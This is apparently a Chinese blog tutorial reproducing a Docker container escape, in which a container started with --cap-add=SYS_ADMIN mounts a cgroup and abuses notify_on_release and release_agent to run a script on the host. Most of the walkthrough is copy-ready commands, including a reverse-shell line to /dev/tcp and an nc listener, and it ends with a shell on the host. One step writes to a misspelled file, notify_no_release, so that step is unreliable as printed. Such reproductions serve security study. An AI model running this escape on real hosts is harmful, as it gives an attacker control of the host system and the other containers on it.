Docker SYS_ADMIN 权限容器逃逸
1.漏洞原理
Docker容器不同于虚拟机,它共享宿主机操作系统内核。宿主机和容器之间通过内核命名空间(namespaces)、内核Capabilities、CGroups(control groups)等技术进行隔离。
若启动docker容器时给主机一个--cap-add=SYS_ADMIN的权限,攻击者可以在容器内通过挂载宿主机cgroup,并利用cgroup notify_on_release的特性在宿主机执行shell,从而实现容器逃逸。
注释:
cgroup:限制资源分配的技术,限制docker的特定资源
Linux下SYS_ADMIN权限:允许执行系统管理任务,如加载或卸载文件系统、设置磁盘配额等
notify_on_release特性:这个参数值是Boolean型,1或0。分别可以启动和禁用释放代理的指令。如果notify_on_release启用(即值为1时),当cgroup不再包含任何任务时(即,cgroup的tasks文件里的PID为空时),系统内核会默认执行release_agent参数指定的文件里的内容。
2实验环境
系统环境:ubuntu
docker版本:18.09
挂载的ununtu版本:18.04
3漏洞复现
3.1安装Ubuntu docker 镜像
命令:
docker pull ubuntu:18.04
3.2 SYS_ADMIN的权限运行ubuntu容器
命令:
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu:18.04 /bin/bash
--security-opt apparmor=unconfined这两个选项默认的开启AppArmor配置,保证了docker以严格模式运行使用权限限制较高,改为unconfined表示表示去除Docker默认的AppArmor配置,即不开启严格模式运行容器。
结果:
3.3查看docker添加的权限
命令:
cat /proc/$$/status | grep Cap
结果:
查看CapEff的具体权限
命令:
capsh --decode=00000000a82425fb
结果:
其中SYS_ADMIN权限添加成功
3.4挂载cgroup及其选项
命令:
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
结果:
查看挂载
命令:
ls /tmp/cgrp
注意挂载完成宿主机的memory后主要是为了成功设置notify_on_release为1 以及在release_agent中加入文件。
3.5在cgroup中新建一个子系统
新建cgroup子系统是为了防止影响宿主机的正常运行
命令:
mkdir /tmp/cgrp/x
将使用x文件作为POC操作的主要目标
3.6设置notify_on_release为值1
命令:
echo 1 > /tmp/cgrp/x/notify_no_release
结果:
3.7将release_agent指定为容器在宿主机上的cmd文件
3.7.1寻找容器路径
由于最后需要运行的为release_agent中的内容,文件的位置在宿主机上所以需要寻找宿主机上容器的路径以便于反弹release_agent中的内容
命令:
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
结果:
3.7.2写入shell文件cmd到容器路径中
在这个目录里创建一个cmd文件,并把它作为/tmp/cgrp/release_agent参数指定的文件
命令:
echo "$host_path/cmd" > /tmp/cgrp/release_agent
结果:
3.8创建写入cmd文件
应该在docker的根目录下创建原因:由于docker共享宿主机磁盘即docker在系统下有自己的文件夹,所以docker的根目录下创建的文件也会体现于系统中。
命令:
echo '#!/bin/sh' > /cmd
echo "sh -i >& /dev/tcp/127.0.0.1/8443 0>&1" >> /cmd #使用同一台宿主机8443端口进行shell回弹监听
结果:
在宿主机中查看cmd文件创建成功。
3.9给cmd文件执行权限
chmod a+x /cmd
3.10使用本机进行回弹端口监听
重新打开一个会话用于回弹端口监听
命令:
nc -lvvp 8443
3.11执行cmd文件
命令:
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
该命令启动一个sh进程,将sh进程的PID写入到/tmp/cgrp/x/cgroup.procs里,这里的\$\$表示sh进程的PID。在执行完sh -c之后,sh进程自动退出,这样cgroup /tmp/cgrp/x里不再包含任何任务,/tmp/cgrp/release_agent文件里的shell将被操作系统内核执行,即自动执行cmd文件。
3.12查看回弹监听结果
查看权限
宿主机成功回弹,逃逸成功。
相关文章:
Docker SYS_ADMIN 权限容器逃逸
1.漏洞原理Docker容器不同于虚拟机,它共享宿主机操作系统内核。宿主机和容器之间通过内核命名空间(namespaces)、内核Capabilities、CGroups(control groups)等技术进行隔离。若启动docker容器时给主机一个--cap-addSY…...
【Kotlin】 yyyy-MM-dd HH:mm:ss 时间格式 时间戳 全面解读超详细
时间格式 时间格式(协议)描述gg时期或纪元。y不包含纪元的年份。不具有前导零。yy不包含纪元的年份。具有前导零。yyyy包含纪元的四位数的年份。M月份数字。一位数的月份没有前导零。MM月份数字。一位数的月份有一个前导零。MMM月份的缩写名称,在AbbreviatedMonthN…...
git repack多包使用及相关性能测试
1、git数据结构 git 中存在四种数据结构,即object包含四种,分别是tree对象、blob对象、commit对象、tag对象 1.1 blob对象 存储文件内容,内容是二进制的形式,通过SHA-1算法对文件内容和头信息进行计算得到key(文件名)。 如果一…...
QT获取dll库文件详细信息
一、需求背景获取软件下依赖的dll库的版本信息,如下图所示版本为1.0.7.1018二、实现方法2.1步骤windows下实现,基于version.lib(version.dll)提供的函数获取这些信息首先使用GetFileVersionInfoSizeA(W)获取VersionInfo的大小,申请缓冲区&…...
常见的电脑运行卡顿原因及解决方法
大家在日常使用电脑过程中,会发现多开几个文件就卡顿,其实很多时候都跟C盘长期不清理有关,C盘的内存被下载的软件安装包、页面文件、休眠文件、更新文件等一系列的文件占据。大的文件甚至能占到20-30G,驱动人生就为大家带来几种解…...
案例08-让软件的使用者成为软件的设计者
一:背景介绍 对于需求的开发每天可能都会有上线的情况,为了防止每次上线拉取代码或者修改配置而引发的冲突以及发生了冲突应该找谁一起确定一下代码留下那一部分的情况。所以在开发的群中会有一个表格来记录每个需求上线修改的环境、是否修改数据库、是否…...
QinQ与Vlan Mapping讲解
目录 QinQ Vlan扩展 QinQ实现方式 QinQ实验配置 Vlan Mapping Vlan映射 映射方式 配置命令 QinQ Vlan扩展 QinQ全称为802.1Q-in-802.1Q,为Vlan扩展技术,在802.1Q标签报文的基础上再增加一层802.1Q标签,实现扩展Vlan空间;可…...
golang 获取token方法
package main import ( "fmt" "time" "github.com/dgrijalva/jwt-go" ) const ( SECRETKEY "202203021124355xxx" //私钥 ) // 自定义 Claims type CustomClaims struct { UserId int64 jwt.StandardClaims } func main() { //生…...
【数据库专题】数据库Mongodb之深入认知云计算三种服务方式、mongodb特点、mongodb重要进程 mongod、mongo、其他进程区别
文章目录一、什么是云计算1. IaaS:基础设施即服务2. SaaS:软件即服务3. PaaS:平台即服务二、大数据与云计算关系三、什么是MongoDB四、大数据与MongoDB五、MongoDB特点六、安装MongoDB七、重要进程介绍7.1 mongod进程7.2 mongo进程7.3 其他进程7.3.1 mongodump重建数据库7.3.2 …...
ccc-pytorch-小实验合集(4)
文章目录一、 Himmelblau 优化二、多分类实战-Mnist三、Sequential与CPU加速-Mnist四、visidom可视化一、 Himmelblau 优化 Himmelblau 是一个具有4个最优值的2维目标函数。其函数和最优值点如下: 图象绘制: import numpy as np from matplotlib impo…...
webrtc音频系列——4、RTP与RTCP协议
如果让你从0开发一套实时互动直播系统,你首先要选择网络传输协议。UDP 还是 TCP?答案是:UDP。为什么实时传输不能用 TCP ?TCP 的目的就是实现数据的可靠传输,因此他有一套 握手,发送 -> 确认,…...
C++枚举解读(enum)
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录前言一、枚举是什么?二、使用步骤1.作用域2.隐式类型转换3.显式指定枚举值类型4.指定枚举值的值4.整形显式转换成枚举总结前言 对于开发C来说࿰…...
OSCP-课外5(Web图片泄露服务信息、日志中毒)
目录 一、主机发现与端口扫描 二、Web信息收集 三、系统信息收集与提权 一、主机发现与端口扫描...
汇编指令学习(ADD,SUB,MUL,DIV,XADD,INC,DEC,NEG)
一、ADD加法操作指令将eax置1,ebx置2,运行下面命令,将结果保存到eaxadd eax,ebx扩展:adc需要再加上CF标志位的值adc eax,ebx二、SUB减法操作指令将eax置3,ebx置2,运行下面命令,将结果…...
【电源专题】案例:充电芯片损坏为什么判断是从NTC进入的EOS
最近有发现一个异常就是测试部测试测试然后充电芯片就无法使用了。通过二极管特性分析(参考文章:电源专题】案例:电源芯片厂家怎么判断电源芯片端口是否损坏)是NTC管脚已经损坏对地短路了。但是以前没有发现这个问题,最近更换了芯片后就发现的特别明显。 首先分析一下现在…...
C语言中的数据储存规则
写在开头 关于复习的相关内容其实从一开始就列出了大纲,但是迟迟没有开始复习,一方面是因为学校学业却是繁忙,另一方面还是内心对旧知识掌握不熟练需要再学一遍的畏惧和懒惰,但如今,复习必须开始了。今天我从C语言的最…...
Android kotlin实战之协程suspend详解与使用
前言 Kotlin 是一门仅在标准库中提供最基本底层 API 以便各种其他库能够利用协程的语言。与许多其他具有类似功能的语言不同,async 与 await 在 Kotlin 中并不是关键字,甚至都不是标准库的一部分。此外,Kotlin 的 挂起函数 概念为异步操作提供…...
Pycharm中的Virtualenv Environment、Conda Environment
版本一 Conda Environment该不该选? 先说结论,该选,而且还是正解。前提是你打算"用Anaconda来管理各种Python环境,同时管理Python下面的各种包"。 选了Conda Environment意味着什么? 意味着你以后如果要装新的包的话…...
C++容器介绍:vector
目录vector简介使用方法1.头文件2.vector声明及初始化3.vector基本操作(1). 容量(2). 修改(3)迭代器(4)元素的访问(5)算法vector 简介 vector是表示可变大小数组的序列容器。就像数组一样,vector也采用的连续存储空间来存储元素。也就是意味着可以采用下标对vecto…...
抗锯齿和走样(笔记)
Artifacts(瑕疵): 比如人眼采样频率跟不上陀螺的旋转速度,这时就有可能看到陀螺在反方向旋转怎么做抗锯齿(滤波): 在采样之前先进行一个模糊操作,可以降低锯齿的明显程度 通过傅里叶…...
线程池的使用——线程池的创建方式
线程池的使用——创建线程线程池的创建线程池的创建方式Executors.newFixedThreadPool:Executors.newCachedThreadPool:Executors.newSingleThreadExecutor:Executors.newScheduledThreadPool:Executors.newSingleThreadScheduled…...
代码随想录算法训练营day47 |动态规划 198打家劫舍 213打家劫舍II 337打家劫舍III
day47198.打家劫舍1.确定dp数组(dp table)以及下标的含义2.确定递推公式3.dp数组如何初始化4.确定遍历顺序5.举例推导dp数组213.打家劫舍II情况一:考虑不包含首尾元素情况二:考虑包含首元素,不包含尾元素情况三&#x…...
项目设计模式和规范
1、责任链模式 自己的理解:避免发生方与接收方解耦 优点:①降低发送方与接收方的耦合 ②简化他们对象 ③方便扩展新增 处理者 缺点:①不方便排错 ②性能问题,且使用不当容易搞出死循环 应用场景:拦截器 Interceptor和过滤器 filter:符合模式的进行拦截或者过滤到,然…...
无线WiFi安全渗透与攻防(一)之无线安全环境搭建
无线安全环境搭建 1.802.11标准 (1).概念 802.11标准是1997年IEEE最初制定的一个WLAN标准,工作在2.4GHz开放频段,支持1Mbit/s和2Mbit/s的数据传输速率,定义了物理层和MAC层规范,允许无线局域网及无线设备…...
【matplotlib】可视化解决方案——如何解决matplotlib中文乱码问题
问题概述 Matplotlib 默认不支持中文字体,这是因为 matplotlib 只支持 ASCII 字符,但是国人使用 matplotlib 肯定需要中文标注。如下图所示,当不对 Matplotlib 进行设置,而直接使用中文时,绘制的图像会出现中文乱码。…...
JAVA开发中GC日志打印简单通用的配置详解
如何配置一个完美的JVM日志打印信息 打印内容 打印基本的GC信息 打印对象分布情况 GC后打印堆数据 打印STW时间 打印safepoint信息 打印Reference处理信息 综上所述,最终的参数如下: 还有哪些问题呢?是不是有文件输出更好? 打印日…...
十进制的小数如何转二进制?二进制表示的小数如何转十进制?
😄 基础不牢,地动山摇~ 补补基础~ 文章目录 1、十进制的小数转二进制?2、二进制表示的小数转十进制?3、做道coding题巩固下:1、十进制的小数转二进制? 整数部分: 用普通的二进制表示即可。小数部分: 首先,将小数部分乘以2,取出整数部分作为二进制表示的第1位;然后…...
klipper使用webcam设置多个摄像头方式
一、前言 使用klipper设置多个摄像头,折腾了好些天,网上资料很少,这里写一个帖子记录一下 二、环境 参考链接:https://www.cnblogs.com/sjqlwy/p/klipper_webcam.html 我的klipper安装在香橙派上面,系统是debian&a…...
风力发电机组浪涌保护器安全防护方案
风机的庞大与危险高空作业注定了其在基建和维护中不易操作,风机设备的主电源、过程控制、网络与通讯、现场设备需要高等级的防雷浪涌保护器冲击保护,提高系统及设备的可靠性和可用性。风电场的主要发电设备风力发电机组“大风车”是风电场的主要发电设备…...
【剑指offer】JZ7 重建二叉树、JZ9 用两个栈实现队列
\描述: 给定节点数为 n 的二叉树的前序遍历和中序遍历结果,请重建出该二叉树并返回它的头结点。 例如输入前序遍历序列{1,2,4,7,3,5,6,8}和中序遍历序列{4,7,2,1,5,3,8,6},则重建出如下图所示。 思路: 题上给了我们前序遍历(根 …...
不用js可以做网站吗/合肥seo招聘
系列文章目录 Java管理扩展JMX入门学习 Spring JMX编程学习(一)- 手动注册bean到MBeanServer Spring JMX编程学习(二)- 以Bean的方式注册MbeanServer Spring JMX编程学习(三)- 自定义JMX客户端 Spring JMX…...
那个网站做宝贝主图好/aso优化技巧
Flash 实验 淡入淡出 步骤: 1、启动Flash应用程序,新建Flash文档。 2、调整画布的大小,并将其所需图片导入(本实验“王祖贤”)并调整其大小,使其充满整个舞台。 3、选中“图片”,在菜单栏中选择…...
网站标题空格/百度小说搜索热度排行榜
1.VGG 2.ResNet 3.DenseNet 4.ResNeXt 相关代码参考:PyTorch实现ResNeXt 5.ResNeSt 在ResNeXt的分组结构基础上,继续对每组划分R个split,执行Split Attention操作,最后将各个分组concatenate一起,经变换后和原始输入…...
达州城乡建设网站/广告
1、问题:这两天写的APP需要在一个页面中使用echarts图表,发现一个问题:在进入改页面初始化时,图表会缩小。但是把容器宽高设置为px就可以了,但是写的移动端需要适配必须rem。 2、问题根因:div还没有创建出来…...
做网站 需要多少钱/免费域名空间申请网址
本人测试通过的直接通过ADO访问数据库的持久层代码,针对微软的数据库。 主要运行的源码using System; using System.Data; using System.Data.Common; using System.Configuration;namespace DBTool {public class DbHelper{private static string dbProviderName …...
wordpress加密页面/自己怎么做网页
在vb.net中利用OleDb的OleDbCommand类操作数据库,有以下这些方法: ExecuteNoQuery() 返回值类型integer,常用来执行增删改操作,返回操作影响的行数 ExecuteReader() 返回一个只读的数据集,常用来作查询操作 ExecuteScalar() 返回值…...